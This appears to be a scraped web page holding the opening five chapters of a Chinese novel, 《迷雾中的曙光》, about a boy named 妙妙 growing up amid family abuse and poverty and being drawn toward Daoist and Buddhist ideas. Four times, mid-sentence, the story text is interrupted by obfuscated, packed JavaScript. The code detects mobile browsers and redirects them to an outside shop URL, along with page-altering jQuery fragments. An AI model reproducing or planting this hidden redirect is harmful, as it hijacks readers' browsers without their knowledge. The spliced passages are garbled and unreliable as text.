《迷雾中的曙光》 1. 梁生午半梦帝语，生命初醒寻妙赞 今年是二零二四年，甲辰龙年，梁生从工厂辞职待业在家，只应工厂连续工作十个小时，并且还要倒上夜班，梁生今年四十有余了，不比年轻时候，身体也吃不消，幸亏他没有老婆，孤身一人也没什么压力，就索性辞职在家了。 有一天中午，梁生午休入梦，听有言者，说“上古不作无，今下不作有，本存自在体，觉明妙清净，我窥一念，而留一欲，初为上帝，设三世四方，起为世界空间，诸国土在此世界轮转起灭。觉明名灵，不辞诸我，起为心魂，名作众生，众生皆依此而作，并依此而息，我依此方便，白天劳作而设明，夜晚歇息而设暗。众生心从我欲，变化能出，种种物质食物，并设男女情想，轮转续生。累劫诸国土，有情欲泛滥，权色滥交，战争杀伐，瘟病横行者，虽说是我一念之过，也是众生贪欲过甚，有此劫数。有鉴于此，我教世人，人人做我，于命中能窥自在，清净觉明真相。有二法并行世间，犹如人们有两腿才能前行，名为佛道，起为真人，真人合于佛果道妙，亦为帝师，能了我一念之过。有这样一个真人，行于觉那星球的妙赞国土，任你去畅想，便可追寻他的踪迹，解你当下困境，便做自在人。” 梁生从梦中惊醒，久久不能入睡，他觉得，该到他做点什么的时候了，虽然比不得别人有老婆孩子的生活，这样也不至于自己过于无聊。所以，他畅想的故事也就于此星球开始了…… 觉那星球有大洋，占星球四分之三，常年风急浪高，有船者不敢远行，猎渔者行于岸边，岸上有个渔村叫福慧村，名福慧村者，是因一个传说，说有帝师成于此间，兼福兼慧，所以，福慧村由此得名。此村就在大洋西洲大陆的临洋半岛，村民称此大洋为不平洋。不平洋的东洲有大陆，也有诸多大小城邦村镇，这里的人们皆知上帝的名。 东洲大陆有山，南北走向，最高处达六千余米，常年积雪，由此发源，三千溪河，东南流行，汇于安城并东南续行，流入海洋，名为安河。安城中的人名此海洋为大湖洋。大湖洋大概有不平洋的五分有一，越过大湖洋北行，有滩头直插海中，名望海涯，涯上有村，名远行村。越过大湖洋南行，有大陆为觉那星球最大的陆地。其间有各种动物，光怪陆离，层出不穷，有人肤深，点缀其间，非有大邦，不知上帝的名。 此大洲有河，由南北流，为觉那星球最长的河流，名长河，注入陆中海，此海连通大湖洋，最窄处就在望海涯，北接望海涯，南接大洲北地，此地多沙漠，有人沿陆中海边缘生活，多善于交易，于陆中海东西穿梭，此地的人们，亦知上帝的名，于是，陆中海东岸有一城，名商城。 陆中海北面有洲，大概是不平洋西洲的六分之一大小，它的临海最远边际就是望海涯。沿着望海涯深入此洲，有山名基山，东西延行，渐入西洲深处，为觉那星球最高处。基山脚下，亦有大小村邦，有大城名基城。此洲的人们，亦知上帝的名。不平洋东洲的人们多半也是此北洲人迁徙于安城。所以，安城中人，知上帝的名。 觉那星球的最高处，西边有山就是基山，东西延行，东边有山名夏山，亦西东延行，夏山的南北两侧亦有大河，北侧有河，名夏河，绵延数千里，流到福慧村，注入不平洋。南侧有河，名梵河，绵延千数里，注入南洋，此洋为不平洋的三分有一。夏河流过的地方，知“道”的名，梵河流过的地方，知“佛”的名。故事来到这里，上帝要以此二者合一，作为帝师，来了自己一念留欲之无明。传说有真人，立于佛道，将生于夏河，以做帝师，成于福慧，能教化人们与上帝无异，于命中亦能窥探自在，清净觉明真相，究竟解脱。当人们不再遵守上帝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156623|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 契约，就会成为上帝一念留欲的奴隶，纵欲杀伐，环境更不利于弱者生存，瘟病流行。所以，寻找帝师，此亦是上帝的志，让无数的人成为上帝本身，以弥补契约的失灵带来的混乱。 话说这夏河的源头，为大塬之地，均高五千米，最高万余米，终年积雪，水量充沛。夏河出塬，有黄土覆地，绵延千里，夏河分二入海，北支过此黄土覆地，夏河滋润，易于耕种，食物充沛，妙赞国土，就于此间，夏河东去，去间亦有二三十国。南支过云梦泽国，于福慧村入海，其间亦有二三十国。 满天黄土编织的峰峦叠嶂，起伏绵延，形成一个个坡状，人们就在此坡上祖辈耕种，妙赞国土，大部分都是这样的地形，偶有平川，也置于夏河两岸，有大城名妙理城，城中人近道者多，故名妙理城，妙赞国王也是一个近道的贤人，故改国号名妙赞。妙赞国，以谷米，油籽，养兔最为出色，易于邻邦，远近闻名。 在妙赞国的西南角，与妙理城大概有二三百坡的距离，就是鹿泉县，这里的泉水甘甜，因得此名吧。鹿泉县有一村寨，名金山葫芦寨，村寨有家，百十余户，数百余人，上葫芦七姓户数，概有四五十户，有姓名金，有四兄弟，母亲童氏，父亲金满仓，扶养四兄弟，以务农为生，虽说年年辛劳，有孩子帮助干活，生活也算说的过去。 有一年，妙赞国王，邻国用兵，老大金玉海被朝廷征用，战息在户部做了一名监管粮米的小官。而后举家搬迁至妙理城，暂不细述。老二金山海和老三金全海相差一岁半，都取了媳妇，分别置了家，又自己开垦些土地，生活也算过的如意，老四金志海时年10岁，在地主冯镜方家做了伴读，老五六岁跟在父母身边，名金如海。这年，夫妻又生了老六，取名金春海，这样，一家人吃饭的也就金满仓夫妻以及老五老六。 2. 满仓中亡弃家眷，童氏怨愤终成空 金满仓平时外面也做一些小买卖，走街串巷卖些针线，弄一些钱财，也不贴补家用，偷偷于镇上买了烟粉吸来过瘾。回到家中，体弱身乏，农活也不上心，躺于炕头，便睡去了，每每如此，童氏多有怨言，对待家人，也是脾气暴躁。一个看似完整的家，就在男人的懒惰中和女人的抱怨愤怒中，年复一年，氛围如山压顶，看不到快乐和希望。 久而久之，满仓也把家中的余粮卖了换成烟粉，迷生幻死，打发时间，不觉已过六年，生活越发艰难了。这年，老二金山海的大儿子出生了，名金有田，这样，他只比他的六叔金春海小了六岁，以后的日子里，金春海经常带着金有田一起玩耍。 在金有田出生的第二年，金满仓外出走街串巷，彻夜未归，以至于二三天毕，也不见踪影，童氏差人去寻，已是倒于路边，不醒人事，没了气息。老大金玉海外战出征，不能回转，丧事全承老二金山海和老三金全海料理。托老四金志海从地主家赊了两叶板，赶夜做了棺木，并请了村上的唢呐队，和金山葫芦寨的村民，第七天就下葬了。 天有不测风云，人有旦夕祸福，出了这样的事，谁也没有料到，也给人没有一个心里的准备，童氏脾气变得越发暴躁哀怨了，她带着十二岁的老五金如海和老六金春海一起生活，对他们俩最是疼爱有加，老四金志海为人伶俐，受地主的赏识，也就留在书院做了护工，平时打扫些花花叶叶，闲了也会教孩子们读一些诗词谚语，算是弟兄里面有文化的啦，平时也能弄点小钱，贴补家用。 话说老二金山海取的妻氏，为隔壁村刘家长女，为人娴熟大方，做事得体，不恃众欺人，勤劳节俭，农闲了也会帮婆婆做点农活。金山海性格从父，也是比较懒惰的，能不干活就不干，也没有把日子过好的上进心，性子倒是从了母亲童氏，脾气暴躁，一句话只要他认为不对，对妻就是拳打脚踢，日子也过的艰难，生有三男一女。 老三妻氏，为人自私，生四男一女，于众弟兄中，多以势众压人，老三金全海，没什么本事，也是依此而瞧不起众弟兄。所以，童氏也不多依靠老二老三，全凭自己努力拉扯老五老六，并且自己攒钱让老六金春海上了几年学堂。 在金春海十六岁的时候，托老大金玉海，让他这个六弟也从了军，只是当时妙赞国里也没什么战事，做了十年，又转回了老家。这个时候，老四金志海已经成了家，在老院子的隔壁，一墙之隔给自己也分了家，继续在书院做着一些微不足道的活，生活比其他弟兄过的宽裕一些，他的妻氏，最是一个是非的人，因为丈夫有余钱，生活也没什么太多艰难，买了一些羊，平时让孩子们放一放，孩子们稍微做到不好，金志海对孩子门也是一顿拳打脚踢，倒是对妻氏，比较宽待，育有两男四女。老五金如海，也成了家，和童氏生活在老院子里，金如海可能是有母亲要养的原因吧，为人比较勤快，是务农的一把好手，对妻氏儿女也比较好，育有一儿一女。 话说金春海转回家中，已是二十六的人了，童氏比较着急，想着哪里能说到亲事，只是家中实在太穷，就寻了一家轻礼金的家庭，用一碗大豆换了一个媳妇杨氏，只是金春海本人不是很满意，对妻氏横挑鼻子竖挑眼，结婚那日，金家给杨家也没准备什么像样的饭菜，用兑了水的酒草草的打发了送亲的人们。这让杨家很不满意，梁子由此就结下了，对这个女婿也是各种怨言。 金春海因为识字，又有当兵的经历，在鹿泉县的县衙寻的一个管理抄写卷宗的活，平时住在县衙，家里只有金如海只管干他的农活，对家庭关系也不怎么维护，童氏由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156624|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于常年的哀怨，脾气暴躁，对老五老六又非理性的宠溺，总是有一点吃的说要留给老五老六，等老六回来吃，对媳妇各种挑剔，尤其是媳妇吃东西必需吃粗粮，家里因为一点吃的，天天吵的鸡飞狗跳。这样看不到希望的生活就这样一天天进行着，杨氏也生了一个女孩，名莺儿。 话说这是一年的端午节，金春海回到家中，带回来农人家庭很少见到的糖酥点心，他把点心全给了金如海的那一儿一女，没有给莺儿留一点，哪怕是渣渣，如此这样小事，不能尽述。慢慢的，杨氏也走上了婆婆抱怨的老路，对丈夫金春海也是怀恨在心，家里争吵不断。 倒是金春海，对于母亲童氏，毕恭毕敬，任由童氏宠溺，有什么母亲留给他的好吃的，也是心无愧疚的就吃了。在他看来，好像母亲，哥哥，甚至侄儿是自己人，杨氏以及莺儿是外人一样，没有什么疼心。 金春海本人，性格也是比较从父的，家里的活，能不干活就不干，与金如海没有分家时，农活还是要仰仗哥哥的，或许这就是他对于侄儿侄女好于自己孩子的原因吧。不到两年，金如海也在老院子隔壁的上坡盖了房子，分了出去，童氏留在老院子和杨氏生活在一起。 金春海衙门事多，不是经常回来，金如海还是一如往前照料着两家农活，可能是看在老母亲的份上吧。这样不到一年，童氏也离开了人世。金玉海，金山海，金全海，金志海，金如海，金春海，兄弟六人第一次聚集在一起，比较风光的送走了母亲。 三年以后，金春海的第二个女孩子出生了，名朵儿，紧接着一年半以后，又生了一个男孩，名妙妙。这一年，金山海的老大金有田也生了一个女孩，名灵儿，也是金有田的第一个孩子。从此，妙妙在这个苦难的家庭，开始了他寻真的修行路。 3. 妙妙遍尝贪嗔痴，灵儿初现慈莲花 金春海母亲去世以后，他和哥哥金如海的农活也不在一起做了，里里外外，都要他一个人承担，妻杨氏又是一个没有主见的人，事事要问金春海，金春海脾气越发暴躁了，嘴唇时不时的嘟囔着，不知道在念叨些什么？ 所以，如果不是农忙，他也很少回家，就算回来，对孩子不是打就是骂，语言的暴力更是从来没有止息。在妙妙幼小的心灵中，种下了软弱的恐惧，见到父亲，就像老鼠看到了猫一样，尤避不及。 倒是杨氏，对丈夫金春海是又抱怨又讨好，金春海一回到家里，她的嘴巴就像漏了气的气球，一刻不得停住，说的尽是金春海的不是，以及他哥嫂们的不是。抱怨让她脾气如同曾经的婆婆一样暴躁，对孩子门整天也是没有休止的怒吼，像倒垃圾一样宣泄着她的情绪，真应了那句老话，不是一家人，不进一家门。 说到讨好，听起来是不可思议的，家里的白面她就给金春海留着吃，孩子门只能吃黑面，种种场面，不可尽数，做法比她婆婆宠溺金春海有过之而无不及。金春海打孩子，她也不去拉架，甚至为了讨好金春海，献上孩子作为她贪爱的投名状，事情过了以后，又会依此为依据抱怨金春海对她和孩子不好。在她看来，孩子只是她要挟金春海的筹码，但换来的是金春海的谩骂与殴打，以至于莺儿被金春海打钝了脑子，做事思考起来总比别人慢一些。 久而久之，杨氏无计可施了，从金春海这里也得不到她认为的爱，或许她自己也不知道她想要什么样的爱。杨氏就用灌输仇恨的方式，教孩子们仇恨父亲，来表达她的不满，以泄私愤。在她看来，我控制不了你，但孩子是我生的，由我自己做主，是她一手把孩子推向了苦海的深渊，她是一个愚昧的痴情种，也是一个懦弱的受气猫。对于妙妙来说，这或许都是定数，不经历彻心的贪嗔痴的心苦，又怎么能了道呢？ 妙妙从小没什么朋友，平时就和二姐朵儿和侄女灵儿三个人一直一起玩耍。大姐莺儿因为要给地主干活，经常和他们不在一起，每次玩耍转回家中，如果看到父亲回来，也就不敢进院门了，因为挨打是一定的。对于父亲而言，串门的理由可能是假，打人才是父亲真正的目的。 由于性格的软弱，妙妙也被同龄的孩子欺负，他更是不愿意和别人玩了，直到五岁，都不能完整的表达一句话，说话结巴的甚至连一个字也要挣扎半天，犹如公鸡一样要拍打着翅膀，才能慢慢吐出嘴巴，愤怒和怨恨似乎与生俱来，吞噬着他的平静。 妙妙五岁的时候，大姐莺儿九岁，二姐朵儿六岁的时候，母亲身患重病，三天两头，卧床不起，“哎呦！哎呦”的呻吟声，时不时的从幽暗的房间传出来，伴随着妙妙的童年。大姐莺儿除了要给母亲煎药，照顾妙妙和朵儿的重担也落在了她的肩上。 莺儿白天起的很早，要去地主冯棠家给猪割草，放牛。中午晚上回来给母亲煎药，给弟弟妹妹做饭。去冯棠家，刚好要经过附近几个村的学堂，她时不时的就会碰见四叔金志海，金志海抓住莺儿，用井绳一顿乱抽，莺儿打的怕了，也要绕道远行。 金志海就如同他那打人有瘾的弟弟金春海一样，看来打人也是上瘾的，他自己准备了一条麻绳，看见莺儿，朵儿，妙妙就是一顿打，金志海家与妙妙家一墙之隔，他很容易能找到妙妙他们三人，他有两个儿子和四个女儿，其中老大和三个女儿也是经常堵在门口打妙妙姊妹三个。 金志海最小的女儿叫梅花，和妙妙同岁，虽说不打他们，金志海夫妇也是不让她跟妙妙姊妹们玩。有一天，莺儿中午做饭，没有了火柴，提着恐惧的心，硬着头皮，隔着院墙喊梅花，能不能给一根火柴，梅花绕过院墙，拿来一根火柴说：“你给我跳傻子舞，我就给你”，莺儿照她说的，乱七八糟的又唱又跳，换来一根火柴，吃了这顿艰难的午饭。 妙妙他们被打的怕了，甚至顾不得照顾母亲的病，晚上不敢在房间睡觉，要么藏于草剁，要么藏于土窑，黄土高坡的土质是容易挖窑的，每家都有这样的窑来装饲料，养一些兔子，好的人家挖窑可以养猪，养驴，牛等，穷人家不养这些，农忙了借地主家的用用，再帮地主干活偿还。 金志海养了几只羊，也算好的光景人家了，可能有一些是冯堂给金志海送的吧，毕竟他俩也算同床好友，冯堂在鹿泉县东侧的林子里有个羊场，也是找一些穷人帮他打理。按理说，莺儿作为金志海的侄女，冯堂也应该好一点，可事实并不是这样。 黄土高坡是比较缺水的，只有富人家或者学堂才有水井，穷人一般都往山坡最底下的深沟里挖泉取水，有一天莺儿和朵儿去泉里打水，被冯堂撞见，他说这是他家的泉，打水就要给他家干很多的活。其实这个泉，是在老三金全海的院子下面的坡沟里，是金全海的几个孩子挖的，就因为这水，莺儿他们三个也没少挨三叔金全海以及两个儿子的打。 灵儿的奶奶就是金山海的妻刘氏，最是菩萨心肠的人，灵儿从小在她奶奶这里长大，她看到妙妙家庭的艰难，会时不时的让灵儿带一些吃的给妙妙他们。她们家分家时，另的比较远，要过一条土沟。所以，这不能经常送。晚上会让她的女儿佳慧，小名唤作佳佳，也就是灵儿的亲姑姑陪妙妙他们过夜，以防四叔一家翻墙过来打人。若有杨母远路来照顾女儿，他们家也会过来人，以免杨母受欺。 在妙妙幼小的心里，灵儿他们一家就是好人，除此之外，到处都是坏人。这种无所逃避的恐惧，以及母亲一声声的“哎呦”声中，妙妙对父亲的怨恨也在慢慢兹长。以至于妙妙他们从来没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156625|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊过一声“阿爹”。 这样两年的光景下来，杨氏的病也不见好，金春海的农活也荒废了不少，家里就越发的艰难，衙门里的俸禄也没几个钱，也就不再给杨氏抓药了。杨父知道了，找到金春海，质问他这是为什么？老婆自己找的，也得有点责任，然后闹到了鹿泉县衙，金春海不得已，隔三差五的就去抓点药。杨氏有个弟弟叫杨林，也就是妙妙唯一的舅舅，听说金春海要把姐姐送回来，拿了一把刀子，来要和金春海算账。从此以后，金春海对于杨家，更是恨之入骨，到死没有往来。 要说妙妙有没有快乐的事呢？那还是有一些的，那就是和姐姐朵儿去侄女灵儿家玩的时候，灵儿的奶奶刘氏养了几十只兔子。这些兔子，到了年底，妙理城专门管理养兔的官员会派人来收。然后统一发往各国，与他国交易，换一些盐铁，再由妙理城专门管理盐铁的官员在鹿泉县城统一发放，价格都是比较便宜。如果私人售卖盐铁，在妙赞国是死罪。 所以，穷人家好多都会养兔子，范围广了，兔种在穷人之间传播，也不怕绝种，大家都会互相之间交换着配种。话说妙妙最开心的事，就是能去二妈家和灵儿一起去拔草，然后给兔子喂食，二妈门前有一个菜园子，种了好多白菜，那是兔子的最爱，菜园边上有一颗李子树，那是妙妙一年的期盼，一年就等那几个李子过过嘴瘾了。 妙妙，朵儿，灵儿他们三个在一起，玩的最多的是角色扮演，有的扮演父母，另一个就当孩子。还有灵儿扮演老师，妙妙和朵儿就扮演学生，因为只有灵儿零散的认知几个字，也是灵儿的奶奶刘氏用养兔挤出来的钱，让灵儿上了学堂认识几个字。女孩子只是跟着先生认识几个字罢了，没有求功名的目标，也不需要天天去，给先生塞点钱，所以先生就能做主的事，不是很麻烦，在说了，金志海又是那里的帮教，所以先生也不会太推脱刘氏。就是这样一个不经意的游戏，妙妙和朵儿也认识灵儿能认识的那几个字，日子久了，认识的也就多了。 杨氏卧床的这三年来，有一年，金玉海带着家眷回老家省亲，他在老二，老三，老四，老五每个家住个几天，并给他们带了大米等生活用品，以及糖果等孩子零食。妙妙和朵儿好奇的也往各个家去看望这个富亲戚，或许只是希望能得到一点糖果吧，但是他们的愿望落空了。就在金玉海要离开的时候，才路过这个他曾经走出来的老院子，伸出头朝里面望了一望，也没有踏进门来。这个时候，不知道谁把一个糖果扔进了院子，妙妙姊妹忙于抢那个糖果，也不知道他们一行人几时离开。糖果被朵儿抢到，妙妙和朵儿打了起来，这是他们俩第一次打架，妙妙幼小的心灵已经感受到贪取能让人面目全非，哪怕是一起吃苦受难的姊妹。从此以后，妙妙凡事都会让着姐姐。 4. 冯家出殡送太爷，妙妙初翻道德经 话说三年下来，杨氏拄着拐杖能下床走路了，带着妙妙和朵儿，第一次艰难的转回了娘家，外公外婆被舅舅舅妈他们塞在一个幽暗的黑房子里，土炕头泥了一个炉子，通过土炕，在房子外面开一个烟囱。这样，架起炉子的时候，火炕也是热的，平时杨母就用烧开水的壶，里面煮一些面条，应付一下，这就是一顿饭了。 妙妙见此寡淡无味，硬是不肯吃，眼睛望向了舅妈的厨房，厨房就在黑屋子的正对面。舅舅是一个出了名的怕老婆，饭好了也不敢叫姐姐和外甥们来吃。妙妙他们，只能这样将就着吃点，已是很不容易了。吃完饭以后，他们聊了杨氏的病情。 杨父说：“这都是命，也是没办法的事，你自己也别太劳累，别太认真，凡事都有因果，闲了念六字真言，忏悔一下，默念大慈大悲观世音菩萨”。这是妙妙第一次听到观世音菩萨的名。外公还特意给他教了“吽！嘛呢叭咪吽”的六字真言。因为怕杨氏记不住，孩子的记性好，就给妙妙特意叮嘱了，让妙妙一定记住，母亲病要再犯了，就教母亲去念。也就是从这以后，杨氏能够一直下床走路了，就是还不能干重活。 杨氏从娘家回到金山葫芦寨，也不敢干重活，偶尔会帮莺儿做做饭，妙妙和朵儿依旧去二妈家找灵儿玩，整天也不着家。一天下午，金有田忽然跑进屋里说：“冯镜方死了，今天晚饭不吃了，可能要去帮忙到很晚”，并且叮嘱灵儿说：“你们三个不要到处乱跑，尤其再不要到学堂的后山去抓蛐蛐”。灵儿头点的尤其勤快，能看出来她也是怕父亲的，但这份毫不犹豫的点头中隐藏着力量，那是来自父亲爱的力量。妙妙对于这个平时话不多的哥哥，也不是很害怕，毕竟对于他来说，相比而言，这个哥哥这里是最后的安全之地了。 地主家的丧事，自然比一般家庭要办的风光，大老远就能听到唢呐响彻整个山谷，上葫芦寨和下葫芦寨的人都来帮忙，第一天赶着搭灵堂，就能看到冯堂家的麦场里有很多的人。麦场是黄土高坡人晒谷物，碾麦脱壳的地方，冯堂家的麦场很大，场边有很多杏子树。所以，在麦场的边上有一个豁口，是小孩子们偷杏子踩出来的，比较隐蔽，大人是不好过去的，甚至不一定知道，因为它就在一个很大的草垛后面。灵儿平时上学堂都要经过这里，她自然熟悉的不得了。 话说冯镜方有三个儿子一个女儿，冯堂是老三，也是比较富裕的一个，他通过贿赂县老爷，在鹿泉县东侧树林里有很大一片养羊场。这片树林本来是二十年前妙赞国为了应付战事，独立出来招兵练兵的地方，所以没有人住，也不属于谁，由县大人管理，平时可借于人用用，打仗了还用于招兵。这样的肥肉就掉进了冯堂的嘴里。所以，附近乡里乡亲的，对冯堂恭敬有加。 他大哥冯虎，是一个没有脑子的粗人，冯镜方很多的田产，大部分都有他收租，最是克扣百姓的主，春天小斗出籽，秋天大斗收粮，这样斗翻斗，利滚利，好些人家都欠着他家的粮呢，像今天这样的大事情，各个也得过来献媚。这个时候，要是缺了谁，恐怕他以后很难在葫芦村生活了。女的也要出人过来做饭，打扫卫生等等。 冯家是知道金春海家的情况的，所以也不做要求。冯堂又是一个最知道趋利避害的主，在金春海面前也是点头哈腰的给足了金春海面子，以免金春海在县太爷面前口舌他，给他穿小鞋。但背地里和金志海勾结，对金家弟兄们也不放在眼里。对妙妙他们也是动不动就打人。但是让外人看的话，他让莺儿在他家干活，好像给足了金春海面子，补贴了金春海的生活。 冯家老二冯玄真，是一个最有文化的道人，他本名不叫冯玄真，父亲给他起的名字叫冯刚，他自己改成了冯玄真。他对世俗的财富不是那么上心，冯老太爷在的时候，他也是整天呆在学堂，是他硬逼着老太爷出大头，乡民出小头翻盖了学堂。把金山学堂报备成了妙赞国国家直管学堂，每年都有经费补贴。所以，于其说乡民的学堂，不如说他家的学堂，学堂大小事都得他做主才能拍板，先生也要经过他审核才行，了道的人容易入选。也不明白他为什么会让金志海这样的人助教，可能是因为他弟弟冯堂吧。 每年正月十五，妙赞国有一年一次的论道会，全国各个学堂必须要推荐人才上来。所以，冯玄真也挂着道学督办的职务，这是直接从户部领取俸禄，不受县太爷节制。在妙赞国，这样的身份地位比当权者高，学办，学堂不在县太爷管理的范围内，所学知识由国王来定。没有国王的令，县官不能私闯学堂，查抄等。所以，在妙赞国，学堂看似没有实权，实际上它像一个无形的手，管理着社会的方方面面，就是县官，也不敢肆无忌惮的贪贿，怕被有道学职称的人举报，他又不能把这样的人怎么样。这就好理解为什么县老爷把林场租给了冯堂，也是巴结冯玄真的一种献媚行为。这种制度也是很好的诠释了道“无为而为”的精髓。 话说这停灵到了第二天，灵堂的搭建都一并完成了，在麦场那里也搭了很大的敞篷，唢呐队伍就在敞篷的台阶上，时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156626|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时吹奏不停。四面八方的朋友，熟人都来上亲，这里说的上亲，就是过来祭拜下太爷，然后吃完饭，掏份子钱。这天下午，金春海也回到了家，过来上了亲，也没吃饭就走了。幸亏妙妙和朵儿没有去灵儿家去玩，要不然又得碍一顿揍。 到了晚上，莺儿做了老疙瘩汤，这是黄土高坡穷人经常吃的一种食物，是豌豆面搅拌成糊装，然后一块一块的打在水里形成的一种汤状，然后拌上浆水酸菜，吃的时候放一点咸菜辣椒就可以了。莺儿做好饭，把炕桌搬到上房金春海面前，炕桌上摆好了辣椒和咸菜，再把饭从厨房盛好，端到炕桌上供父亲享用。黄土高坡人，都是这样的吃饭习惯，和谐的家庭，全家绕着炕桌坐。但是妙妙和朵儿，为了放咸菜辣椒，总是要一个推一个，谁也不敢第一个先进去。莺儿已经习惯了在厨房把咸菜给自己放好，然后再端去上房，自己在厨房吃饭。妙妙和朵儿没有这样的习惯，不敢进去也就不放辣椒咸菜了，随便吃了也就完事了。杨氏自从大病一场，也没有太多的力气像以前一样那么念叨了。怨气转化成了无助的绝望，时刻担心自己会死去，在厨房也就勉强着吃几口也就完事了。所以，只要金春海在家，每到吃饭的时候，就会听到这样声音：“莺儿，端饭了”、“莺儿，端炕桌了”。因为整个屋子，只有他一个人，他只能这样喊了。第二天，他就转回了鹿泉县。 冯家丧事，转眼来到了第七天下午，这天下午要出殡，村上主要的男人们，以及冯家大小人等，跟着引魂番浩浩荡荡的出发了，灵儿带着妙妙以及朵儿，通过麦场的那个偷杏洞，来到了冯家内室，也是想进来拿点糖果而已，他们进入内室，随便胡乱拿了一些糖果，就打算离开。 在不经意间，妙妙发现了供桌上有一本书，他认识这三个字，是“道德经”。道德经是妙赞国不传的国宝，民间私藏是犯法的，只有学堂授权给德高望重的人，在死后可以供于灵桌，好让逝者死后灵魂入道，不受苦转。一般人很难有机缘遇到。所以，金志海在学堂这么多年，也没机缘见到，更别说拿回家了。妙妙因为好奇，随便翻了几页，很多字也不是完全认识。他翻到第一页，看到了“无，名天地之始。有，名万物之母”，他顿时好像明白了什么。他翻到中间看到了“知人者智，自知者明”，他好像又明白了什么。因为他一直在寻找自己如此苦难的答案。虽然答案暂时很模糊，但它有了寻找的方向。这是妙妙第一次知道“道”的名。 感觉很是殊胜，心里有一种释放的坦然。 5. 妙妙缘真进学堂，杨氏下田偶干活 到了这天晚上，妙妙和朵儿没有回家，父亲不在的时候，这也是常事。这个时候，金有田和冯玄真抬着金有田家的大桌子进来了，每逢这样的大事，各种物件借着用都是常事，事情完了就还回来。 冯玄真给金山海问了一声好，看见妙妙和朵儿，随口就问了金有田一声：“这是你六爸的老二老三是吧？”。金有田说：“是的，老大经常在三东家那里干活”。冯玄真附和了一声：“哦，我知道，我见过，那孩子干活很认真”，说完话，转身就要走。金有田说：“不吃饭了吗？”。冯玄真说：“不了，上面还剩了很多”。 这个时候，妙妙见此人生的齐眉方脸，抬手投足利落洒脱，胡须整齐干净，发簪高绾，抬桌子时，看起来指头骨感有力，有一种亲和力顿时升起，就问他：“你是道人吗？”。冯玄真很惊讶的问到：“你还知道道人啊？”。妙妙就把刚才偷偷进他家看书的一幕说了。 冯玄真没有怪妙妙，因为他心里最明白，一个求道的人，最高贵的品质是直心，敢于面对自己的内心。他只是淡淡的说了一句，明天你跟着你四爸去学堂吧，学费免了，我改天遇到你父亲了给他说。你四爸知道这事，他不会为难你的，你们不要四处张扬就是了。有人问，就说金家凑了钱。 妙妙小孩子不懂什么？也不知道这意味着什么？尽管他心里有时也问自己，为什么自己不能去学堂呢？但是金有田知道，学堂的费用不低，对于穷人来说，是不可企及的梦，一般农人家庭，都是一个家族几家人，团结一致，才能供一个孩子上学。金有田压抑着激动的心，把冯玄真送出了门。这一年，妙妙八岁了。 其实，对于先生收外快让女孩子识字的事，冯玄真心里是知道的，村里有女娃的都这么干，可去可不去，也没有上学时间，就如同串门一般，也不影响什么？也就没有固定的收钱标准，全看先生的心情了。冯玄真挣一只眼闭一只眼，不管这种小事。 有些穷人家的男孩子做伴读来识字，也是民间即成的习俗，他也不管这种小事，只要他们自己私底下商量好了就行，穷人给有实力的家庭干活，谋求一个伴读的机会，这是大部分农民孩子上学的常态。 但是，女孩子不能上学堂，是国家制度，他没有权利更改。包括学费不够也不会破例收录，他能如此破例，足以看出来他对妙妙的肯定和喜欢。这可能也是妙妙的机缘吧。 第二天，妙妙在灵儿家起的很早，飞快的回了家，就把这个消息告诉了母亲杨氏，杨氏也是非常开心。但是妙妙不敢去找四爸，虽然他们只有一墙之隔。忽然，有声音喊道：“妙妙在家吗？”，是四爸的声音，妙妙条件反射的一阵怕，不过忽然想起冯玄真昨天说的话，他也就不怕了，唯唯诺诺的迎了出去，说：“我在”。金志海看见妙妙，没好气的说：“快把衣服穿好，跟我去学堂”。杨氏通过一场大病后，也像变了人一样，不怎么再挑剔这些哥哥嫂嫂了，赔笑脸的说道：“他四爸，麻烦你了，要不是你，这妙妙还进不了学堂呢，麻烦你多照顾下”，说话之间，把一个馒头塞到妙妙的手里。 